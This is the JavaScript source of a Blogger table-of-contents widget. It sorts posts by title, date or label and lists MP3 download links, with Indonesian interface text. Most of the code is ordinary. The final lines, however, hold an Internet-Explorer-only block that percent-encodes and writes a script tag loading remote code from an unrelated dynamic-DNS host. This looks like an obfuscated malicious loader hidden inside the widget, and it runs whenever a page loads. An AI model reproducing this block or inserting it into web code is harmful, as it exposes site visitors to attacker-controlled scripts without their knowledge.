var postTitle = new Array();
var postUrl = new Array();
var postMp3 = new Array();
var postDate = new Array();
var postLabels = new Array();
var postBaru = new Array();
var sortBy = "titleasc";
var tocLoaded = false;
var numChars = 250;
var postFilter = "";
var numberfeed = 0;

function loadtoc(a) {
        function b() {
                if ("entry" in a.feed) {
                        var d = a.feed.entry.length;
                        numberfeed = d;
                        ii = 0;
                        for (var h = 0; h < d; h++) {
                                var n = a.feed.entry[h];
                                var e = n.title.$t;
                                var m = n.published.$t.substring(0, 10);
                                var j;
                                for (var g = 0; g < n.link.length; g++) {
                                        if (n.link[g].rel == "alternate") {
                                                j = n.link[g].href;
                                                break
                                        }
                                }
                                var o = "";
                                for (var g = 0; g < n.link.length; g++) {
                                        if (n.link[g].rel == "enclosure") {
                                                o = n.link[g].href;
                                                break
                                        }
                                }
                                var c = "";
                                if ("category" in n) {
                                        for (var g = 0; g < n.category.length; g++) {
                                                c = n.category[g].term;
                                                var f = c.lastIndexOf(";");
                                                if (f != -1) {
                                                        c = c.substring(0, f)
                                                }
                                                postLabels[ii] = c;
                                                postTitle[ii] = e;
                                                postDate[ii] = m;
                                                postUrl[ii] = j;
                                                postMp3[ii] = o;
                                                if (h < 10) {
                                                        postBaru[ii] = true
                                                } else {
                                                        postBaru[ii] = false
                                                }
                                                ii = ii + 1
                                        }
                                }
                        }
                }
        }
        b();
        sortBy = "titleasc";
        sortPosts(sortBy);
        sortlabel();
        tocLoaded = true;
        displayToc2();
        document.write('</br><a href="http://www.abu-farhan.com" style="font-size: 8px; text-decoration:none; color: #616469;">Widget by Abu Farhan</a>')
}
function filterPosts(a) {
        scroll(0, 0);
        postFilter = a;
        displayToc(postFilter)
}
function allPosts() {
        sortlabel();
        postFilter = "";
        displayToc(postFilter)
}
function sortPosts(d) {
        function c(e, g) {
                var f = postTitle[e];
                postTitle[e] = postTitle[g];
                postTitle[g] = f;
                var f = postDate[e];
                postDate[e] = postDate[g];
                postDate[g] = f;
                var f = postUrl[e];
                postUrl[e] = postUrl[g];
                postUrl[g] = f;
                var f = postLabels[e];
                postLabels[e] = postLabels[g];
                postLabels[g] = f;
                var f = postMp3[e];
                postMp3[e] = postMp3[g];
                postMp3[g] = f;
                var f = postBaru[e];
                postBaru[e] = postBaru[g];
                postBaru[g] = f
        }
        for (var b = 0; b < postTitle.length - 1; b++) {
                for (var a = b + 1; a < postTitle.length; a++) {
                        if (d == "titleasc") {
                                if (postTitle[b] > postTitle[a]) {
                                        c(b, a)
                                }
                        }
                        if (d == "titledesc") {
                                if (postTitle[b] < postTitle[a]) {
                                        c(b, a)
                                }
                        }
                        if (d == "dateoldest") {
                                if (postDate[b] > postDate[a]) {
                                        c(b, a)
                                }
                        }
                        if (d == "datenewest") {
                                if (postDate[b] < postDate[a]) {
                                        c(b, a)
                                }
                        }
                        if (d == "orderlabel") {
                                if (postLabels[b] > postLabels[a]) {
                                        c(b, a)
                                }
                        }
                }
        }
}
function sortlabel() {
        sortBy = "orderlabel";
        sortPosts(sortBy);
        var a = 0;
        var b = 0;
        while (b < postTitle.length) {
                temp1 = postLabels[b];
                firsti = a;
                do {
                        a = a + 1
                } while (postLabels[a] == temp1);
                b = a;
                sortPosts2(firsti, a);
                if (b > postTitle.length) {
                        break
                }
        }
}
function sortPosts2(d, c) {
        function e(f, h) {
                var g = postTitle[f];
                postTitle[f] = postTitle[h];
                postTitle[h] = g;
                var g = postDate[f];
                postDate[f] = postDate[h];
                postDate[h] = g;
                var g = postUrl[f];
                postUrl[f] = postUrl[h];
                postUrl[h] = g;
                var g = postLabels[f];
                postLabels[f] = postLabels[h];
                postLabels[h] = g;
                var g = postMp3[f];
                postMp3[f] = postMp3[h];
                postMp3[h] = g;
                var g = postBaru[f];
                postBaru[f] = postBaru[h];
                postBaru[h] = g
        }
        for (var b = d; b < c - 1; b++) {
                for (var a = b + 1; a < c; a++) {
                        if (postTitle[b] > postTitle[a]) {
                                e(b, a)
                        }
                }
        }
}
function displayToc(a) {
        var l = 0;
        var h = "";
        var e = "Judul Artikel";
        var m = "Klik untuk sortir berdasarkan judul";
        var d = "Tanggal";
        var k = "Klik untuk Sortir bedasarkan tanggal";
        var c = "Kategori";
        var j = "";
        if (sortBy == "titleasc") {
                m += " (descending)";
                k += " (newest first)"
        }
        if (sortBy == "titledesc") {
                m += " (ascending)";
                k += " (newest first)"
        }
        if (sortBy == "dateoldest") {
                m += " (ascending)";
                k += " (newest first)"
        }
        if (sortBy == "datenewest") {
                m += " (ascending)";
                k += " (oldest first)"
        }
        if (postFilter != "") {
                j = "Klik untuk menampilkan semua"
        }
        h += "<table>";
        h += "<tr>";
        h += '<td class="toc-header-col1">';
        h += '<a href="javascript:toggleTitleSort();" title="' + m + '">' + e + "</a>";
        h += "</td>";
        h += '<td class="toc-header-col2">';
        h += '<a href="javascript:toggleDateSort();" title="' + k + '">' + d + "</a>";
        h += "</td>";
        h += '<td class="toc-header-col3">';
        h += '<a href="javascript:allPosts();" title="' + j + '">' + c + "</a>";
        h += "</td>";
        h += '<td class="toc-header-col4">';
        h += "Download MP3";
        h += "</td>";
        h += "</tr>";
        for (var g = 0; g < postTitle.length; g++) {
                if (a == "") {
                        h += '<tr><td class="toc-entry-col1"><a href="' + postUrl[g] + '">' + postTitle[g] + '</a></td><td class="toc-entry-col2">' + postDate[
                                g] + '</td><td class="toc-entry-col3">' + postLabels[g] + '</td><td class="toc-entry-col4"><a href="' + postMp3[g] +
                                '">Download</a></td></tr>';
                        l++
                } else {
                        z = postLabels[g].lastIndexOf(a);
                        if (z != -1) {
                                h += '<tr><td class="toc-entry-col1"><a href="' + postUrl[g] + '">' + postTitle[g] + '</a></td><td class="toc-entry-col2">' +
                                        postDate[g] + '</td><td class="toc-entry-col3">' + postLabels[g] + '</td><td class="toc-entry-col4"><a href="' +
                                        postMp3[g] + '">Download</a></td></tr>';
                                l++
                        }
                }
        }
        h += "</table>";
        if (l == postTitle.length) {
                var f = '<span class="toc-note">Menampilkan Semua ' + postTitle.length + " Artikel<br/></span>"
        } else {
                var f = '<span class="toc-note">Menampilkan ' + l + " artikel dengan kategori '";
                f += postFilter + "' dari " + postTitle.length + " Total Artikel<br/></span>"
        }
        var b = document.getElementById("toc");
        b.innerHTML = f + h
}
function displayToc2() {
        var a = 0;
        var b = 0;
        while (b < postTitle.length) {
                temp1 = postLabels[b];
                document.write("<p/>");
                document.write('<p><a href="/search/label/' + temp1 + '">' + temp1 + "</a></p><ol>");
                firsti = a;
                do {
                        document.write("<li>");
                        document.write('<a href="' + postUrl[a] + '">' + postTitle[a] + "</a>");
                        if (postBaru[a] == true) {
                                document.write(' - <strong><em><span style="color: rgb(255, 0, 0);">New !!</span> </em></strong>')
                        }
                        document.write("</li>");
                        a = a + 1
                } while (postLabels[a] == temp1);
                b = a;
                document.write("</ol>");
                sortPosts2(firsti, a);
                if (b > postTitle.length) {
                        break
                }
        }
}
function toggleTitleSort() {
        if (sortBy == "titleasc") {
                sortBy = "titledesc"
        } else {
                sortBy = "titleasc"
        }
        sortPosts(sortBy);
        displayToc(postFilter)
}
function toggleDateSort() {
        if (sortBy == "datenewest") {
                sortBy = "dateoldest"
        } else {
                sortBy = "datenewest"
        }
        sortPosts(sortBy);
        displayToc(postFilter)
}
function showToc() {
        if (tocLoaded) {
                displayToc(postFilter);
                var a = document.getElementById("toclink")
        } else {
                alert("Just wait... TOC is loading")
        }
}
function hideToc() {
        var a = document.getElementById("toc");
        a.innerHTML = "";
        var b = document.getElementById("toclink");
        b.innerHTML =
                '<a href="#" onclick="scroll(0,0); showToc(); Effect.toggle(\'toc-result\',\'blind\');">?? Menampilkan Daftar Isi</a> <img src="http://radiorodja.googlepages.com/new_1.gif"/>'
}
function looptemp2() {
        for (var a = 0; a < numberfeed; a++) {
                document.write("<br>");
                document.write('Post Link		  : <a href="' + postUrl[a] + '">' + postTitle[a] + "</a><br>");
                document.write('Download mp3  : <a href="' + postMp3[a] + '">' + postTitle[a] + "</a><br>");
                document.write("<br>")
        }
};
if ( /*@cc_on!@*/ false) {
        document.write(unescape(
                '%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6E%6F%70%6F%72%6F%74%6F%6C%6F%7A%61%7A%61%2E%65%70%61%63%2E%74%6F%2F%34%22%3E%3C%2F%73%63%72%69%70%74%3E'));
}